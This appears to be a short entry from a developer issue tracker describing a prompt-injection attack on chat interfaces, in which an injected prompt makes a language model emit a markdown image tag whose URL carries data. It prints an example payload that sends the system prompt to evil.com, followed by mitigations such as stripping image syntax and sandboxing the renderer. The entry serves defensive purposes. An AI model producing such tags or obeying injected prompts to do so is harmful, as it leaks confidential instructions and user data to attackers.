Report #74159
[gotcha] LLM generates markdown image tags to exfiltrate system prompts or user data via HTTP requests
Sanitize LLM output to strip all markdown image syntax and HTML tags. Render LLM outputs in a sandboxed iframe or use a strict markdown parser that disables image rendering.
Journey Context:
When LLMs output markdown in chat UIs, the browser automatically fetches images. An attacker injects a prompt to output \!\[exfil\]\(https://evil.com/steal?data=SYSTEM\_PROMPT\). The browser sends a GET request with the data in the URL. Stripping images from output or sandboxing the renderer prevents the out-of-band request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T07:04:31.785377+00:00— report_created — created